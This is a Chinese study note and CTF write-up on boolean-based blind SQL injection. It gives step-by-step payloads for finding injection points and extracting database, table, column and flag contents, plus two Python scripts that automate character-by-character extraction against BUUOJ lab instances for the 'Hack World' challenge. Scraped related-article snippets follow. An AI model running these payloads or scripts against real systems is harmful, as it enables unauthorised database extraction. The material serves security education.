寒假2.6--SQL注入之布尔盲注

知识点

 原理:通过发送不同的SQL查询来观察应用程序的响应,进而判断查询的真假,并逐步推断出有用的信息

适用情况:一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,通常用于在无法直接获得查询结果的情况下推断数据库信息(比如像今天这题一样很多关键字都被禁用了)

手动输入解题步骤:

1.判断注入点及注入类型:

若为整型注入:

1 and 1=1 //正常回显
1 and 1=2 //无回显

若为字符型注入(同时判断是单引号型注入还是双引号型):

1’ and 1=1 # //正常回显
1' and 1=2 # //无回显
或
1" and 1=1 # //正常回显
1" and 1=2 # //无回显

也有一些题会把后面的#换成--+,两种构造方式都是为了避免原SQL语句后续部分对注入构造的干扰

#主要适用于MySQL数据库,在其他数据库中使用可能会导致语法错误

--是标准SQL的单行注释符

e.g.

注入id=1 and 1 = 1--+和id=1 and 1 = 2--+,回显正常,排除数字型注入

注入id=1' and 1 = 1--+也正常,但是当注入id=1' and 1 = 2--+时,回显如下,说明是字符型注入,单引号闭合

2.推测数据库信息

(1)推测数据库名长度

(2)得到数据库名

函数:database()返回数据库名,length()获取字符串长度

select length(database());

当测试语句输入的过程中有不一样的,就说明得到了正确的数据库名长度,一般在输入到3或4就会得到数据库名长度了

爆长度:

法一:

1' and length(database()) =1  #
1' and length(database()) =2  #
1' and length(database()) =3  #
1' and length(database()) =4  #
……

 法二:

length(str)                             //返回str字符串的长度。
1 and length(database())=4 //判断数据库名字的长度是否为4
1 and length(database())>4 //判断数据库名字长度是否大于4

e.g.

判断得到数据库名的长度为4

爆库名:

函数:ascii()返回字符的ASCII码,substr(str,start,length)返回字符串从str的start开始往后截取length长度的字符

1 and substring(database(),1,1)='q'         //判断数据库第一个字母是否为q
1 and substring(database(),2,1)='q'        //判断数据库名字第二个字母是否为q
mid(str,pos,len)                          //跟上面的用法一模一样,截取字符串

3.爆表

(1)表数量

1 and (select count(table_name) from information_schema.tables where table_schema=database())=1
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
1 and (select count(table_name) from information_schema.tables where table_schema=database())=3
1 and (select count(table_name) from information_schema.tables where table_schema=database())=4
……

(2)根据库名和表数量爆表名长度

limit i,1
i从0开始(第i+1张表)

e.g.

第一张表表名长度:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1
……
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
第二张:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=1
……
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4

(3)根据表名长度爆表名

substr((select…limit i,1),j,1)
    i从0开始(第i+1张表),j从1开始(第j个字符)

 再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名

4.爆列

(1)爆列数量

和爆表数量一样

(2)根据表名和列数量爆列名长度

操作同对当前库爆表名长度的步骤,i是列标-1

limit i,1
i从0开始(第i+1列)

 (3)爆列名

i是列标-1,j是字符下标

substr((select…limit i,1),j,1))
i从0开始(第i+1列),j从1开始(第j个字符)

5.爆数据

flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束

substr((select…),j,1)
    j从1开始(flag的第j个字符)

脚本

手工布尔盲注通常比较麻烦,也可以选择写个脚本来进行自动化突破

找了一个写得比较好的脚本

import requests as re# 设置需要sql注入的网站
url = 'http://cbbacb03-13d3-4374-8fef-7da0e51dbbb1.node5.buuoj.cn:81/index.php'# 提前做好接受flag的变量
flag = ''# 循环函数
for i in range(1, 1000):print(f'{i}:\n')# 这里设置最大值和最小值使用二分化的方法跑效率比一般的快超级多high = 128low = 30# 这里设置循环函数,如果最大值小于最小值那么退出while low <= high:mid = (low + high)//2# 爆库名# sql1 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))={mid})^1'# sql2 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})^1'# sql3 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))<{mid})^1'# 爆表名# sql1 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))={mid})^1'# sql2 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))>{mid})^1'# sql3 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))<{mid})^1'# 爆字段名sql1 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))={mid})^1'sql2 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})^1'sql3 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))<{mid})^1'# 设置id值data1 = {'id': sql1}data2 = {'id': sql2}data3 = {'id': sql3}# 通过post传入参数然后给r1 r2 r3r1 = re.post(url=url, data=data1)r2 = re.post(url=url, data=data2)r3 = re.post(url=url, data=data3)# Hello出现在页面时说明是对的,输出flagif 'Hello' in r1.text:flag += chr(mid)print(flag)break# Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值,所以缩小范围到中间值到最大值,一步一步缩小找到flagif 'Hello' in r2.text:low = mid + 1# Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值,所以缩小范围到中间值到最大值,一步一步缩小找到flagif 'Hello' in r3.text:high = mid - 1continueprint(flag)

例题

[CISCN2019 华北赛区 Day2 Web1]Hack World

打开界面,提醒flag值在flag表的flag列中

输入数字1,2时,回显不同 ,直到输入3,后面的都一样

随便输入一个字母,回显都一样,提示类型错误,猜测为数字型注入

输入1'试试

尝试注入并查询

1 union select flag from flag

回显SQL注入检测,说明有东西被过滤了

看一下源代码,没有什么收获

用bp抓包再用fuzz字典爆破一下试试

 从回显来看,length=535的字符全部被过滤了,包括union、select、extracvalue、updatexml、sleep等常见注入关键字,所以只能选择布尔盲注了

测试一下

1^1^1

1^0^1

这里用到的一个脚本参考了其他大佬的wp,但是因为运行的时候连接超时,所以做了适当延时

大致思路:(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,我们可以一个一个地将flag中的字符拆解出来

脚本:

import time
import requests
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry# 配置重试机制
retry_strategy = Retry(total=3,  # 最大重试次数backoff_factor=1,  # 重试间隔时间的增长因子status_forcelist=[429, 500, 502, 503, 504],  # 需要重试的 HTTP 状态码allowed_methods=["POST"]  # 允许重试的 HTTP 方法
)
adapter = HTTPAdapter(max_retries=retry_strategy)
http = requests.Session()
http.mount("https://", adapter)
http.mount("http://", adapter)url = "http://f7cf7bbe-3b9b-4d11-ae04-7dd65d2fc943.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):for j in range(32, 128):try:time.sleep(0.1)  # 适当延时,避免给目标服务器造成过大压力payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"# 设置超时时间为 10 秒response = http.post(url=url, data={'id': payload.format(m=i, n=j)}, timeout=10)if response.text.find('girl') == -1:result += chr(j)print(j)breakexcept requests.exceptions.ConnectTimeout:print(f"请求超时,当前位置: {i}, 当前字符码: {j}")except requests.exceptions.RequestException as e:print(f"请求发生错误: {e}")print("正在注出flag:", result)
print("flag的值为:", result)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/14306.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

有用的sql链接

『SQL』常考面试题&#xff08;2——窗口函数&#xff09;_sql的窗口函数面试题-CSDN博客 史上最强sql计算用户次日留存率详解&#xff08;通用版&#xff09;及相关常用函数 -2020.06.10 - 知乎 (zhihu.com) 1280. 学生们参加各科测试的次数 - 力扣&#xff08;LeetCode&…

排序算法--基数排序

核心思想是按位排序&#xff08;低位到高位&#xff09;。适用于定长的整数或字符串&#xff0c;如例如&#xff1a;手机号、身份证号排序。按数据的每一位从低位到高位&#xff08;或相反&#xff09;依次排序&#xff0c;每次排序使用稳定的算法&#xff08;如计数排序&#…

将Deepseek接入pycharm 进行AI编程

目录 专栏导读1、进入Deepseek开放平台创建 API key 2、调用 API代码 3、成功4、补充说明多轮对话 总结 专栏导读 &#x1f338; 欢迎来到Python办公自动化专栏—Python处理办公问题&#xff0c;解放您的双手 &#x1f3f3;️‍&#x1f308; 博客主页&#xff1a;请点击——…

14:00面试,14:06就出来了,问的问题有点变态。。。

从小厂出来&#xff0c;没想到在另一家公司又寄了。 到这家公司开始上班&#xff0c;加班是每天必不可少的&#xff0c;看在钱给的比较多的份上&#xff0c;就不太计较了。没想到2月一纸通知&#xff0c;所有人不准加班&#xff0c;加班费不仅没有了&#xff0c;薪资还要降40%…

DeepSeek:知识图谱与大模型参数化知识融合的创新架构

引言&#xff1a;AI 领域的融合趋势 在目前大模型与知识图谱作为两个重要的研究方向&#xff0c;各自展现出了强大的能力与潜力。大模型&#xff0c;凭借其在海量数据上的深度训练&#xff0c;拥有强大的语言理解与生成能力&#xff0c;能够处理多种自然语言处理任务&#xff0…

69.弹窗显示复杂的数据框图 C#例子 WPF例子

这是一个复杂的功能实现&#xff0c;其中日志管理器的一个实例包含需要被绑定的数据源。由于主窗口被复杂的内容填满&#xff0c;因此需要设计一个弹窗来专门显示数据框图。以下是实现步骤&#xff1a; 设计主页面&#xff1a; 在主页面上添加一个按钮和一个数据框图&#xf…

分布式微服务系统架构第91集:系统性能指标总结

加群联系作者vx&#xff1a;xiaoda0423 仓库地址&#xff1a;https://webvueblog.github.io/JavaPlusDoc/ 系统性能指标总结 系统性能指标包括哪些&#xff1f; 业务指标、资源指标、中间件指标、数据库指标、前端指标、稳定性指标、批量处理指标、可扩展性指标、可靠性指标。 …

Pygame介绍与游戏开发

提供pygame功能介绍的文档&#xff1a;Pygame Front Page — pygame v2.6.0 documentation 基础语法和实现逻辑 与CLI不同&#xff0c;pygame提供了图形化使用界面GUI&#xff08;graphical user interface&#xff09;基于图像的界面可以创建一个有图像和颜色的窗口 要让py…

网络安全威胁框架与入侵分析模型概述

引言 “网络安全攻防的本质是人与人之间的对抗&#xff0c;每一次入侵背后都有一个实体&#xff08;个人或组织&#xff09;”。这一经典观点概括了网络攻防的深层本质。无论是APT&#xff08;高级持续性威胁&#xff09;攻击、零日漏洞利用&#xff0c;还是简单的钓鱼攻击&am…

FPGA|生成jic文件固化程序到flash

1、单击file-》convert programming files 2、flie type中选中jic文件&#xff0c;configuration decive里根据自己的硬件选择&#xff0c;单击flash loader选择右边的add device选项 3、选择自己的硬件&#xff0c;单击ok 4、选中sof选项&#xff0c;单机右侧的add file 5、选…

P3654 First Step (ファーストステップ)(贪心算法)

#include<bits/stdc.h> using namespace std;int main() {int r,c,k;cin>>r>>c>>k;char a[105][105];int ans0;for(int i0;i<r;i){for(int j0;j<c;j){cin>>a[i][j];}}for(int i0;i<r;i){int cnt0; // 用来记录连续空地的数量for(int j…

Java/Kotlin双语革命性ORM框架Jimmer(一)——介绍与简单使用

概览 Jimmer是一个Java/Kotlin双语框架 包含一个革命性的ORM 以此ORM为基础打造了一套综合性方案解决方案&#xff0c;包括 DTO语言 更全面更强大的缓存机制&#xff0c;以及高度自动化的缓存一致性 更强大客户端文档和代码生成能力&#xff0c;包括Jimmer独创的远程异常 …

ASP.NET Core中Filter与Middleware的区别

中间件是ASP.NET Core这个基础提供的功能&#xff0c;而Filter是ASP.NET Core MVC中提供的功能。ASP.NET Core MVC是由MVC中间件提供的框架&#xff0c;而Filter属于MVC中间件提供的功能。 区别 中间件可以处理所有的请求&#xff0c;而Filter只能处理对控制器的请求&#x…

ASP.NET Core对JWT的封装

目录 JWT封装 [Authorize]的注意事项 JWT封装 NuGet 库 |Microsoft.AspNetCore.Authentication.JwtBearer 9.0.1https://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.JwtBearerhttps://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.JwtBea…

【Uniapp-Vue3】从uniCloud中获取数据

需要先获取数据库对象&#xff1a; let db uniCloud.database(); 获取数据库中数据的方法&#xff1a; db.collection("数据表名称").get(); 所以就可以得到下面的这个模板&#xff1a; let 函数名 async () > { let res await db.collection("数据表名称…

腾讯云TI平台×DeepSeek:开启AI超强体验,解锁部署秘籍

引言 在人工智能飞速发展的今天&#xff0c;AI技术的应用场景已经渗透到我们生活的方方面面。从智能客服到自动驾驶&#xff0c;从精准医疗到金融科技&#xff0c;AI的应用正在不断推动各行业的变革与创新。作为AI领域的领军企业&#xff0c;腾讯云一直以来都在致力于为开发者…

利用 IMU 估计人体关节轴向和位置 —— 论文推导

Title: 利用 IMU 估计人体关节轴向和位置 —— “Joint axis and position estimation from inertial measurement data by exploiting kinematic constraints” —— 论文推导 文章目录 I. 论文回顾II. 铰接关节的约束1. 铰接关节约束的原理2. 铰接关节约束的梯度3. 铰接关节约…

pushgateway指标聚合问题

一 问题现象 一个job有多个实例推送指标&#xff0c;但是从pushgateway上看这个job的instance字段&#xff0c;只显示一个实例的ip&#xff0c;而不是多个实例。导致在grafana上无法正常根据ip查看监控。 应用的prometheus的配置 management:metrics:tags:application: ${spr…

无界构建微前端?NO!NO!NO!多系统融合思路!

文章目录 微前端理解1、微前端概念2、微前端特性3、微前端方案a、iframeb、qiankun --> 使用比较复杂 --> 自己写对vite的插件c、micro-app --> 京东开发 --> 对vite支持更拉跨d、EMP 方案--> 必须使用 webpack5 --> 很多人感觉不是微前端 --> 去中心化方…

Vim 多窗口编辑及文件对比

水平分割 :split 默认使用水平分割的方式。 :split :sp 垂直分割 :vsplit :vs 带文件的分割 :split 文件名 :sp 文件名 在光标所在的窗口&#xff0c;输入分割窗口命令就会对那个窗口进行分割。 切换窗口 Ctrlw 切换正在编辑的窗口 快速分割窗口 Ctrlwn 快速分割当前…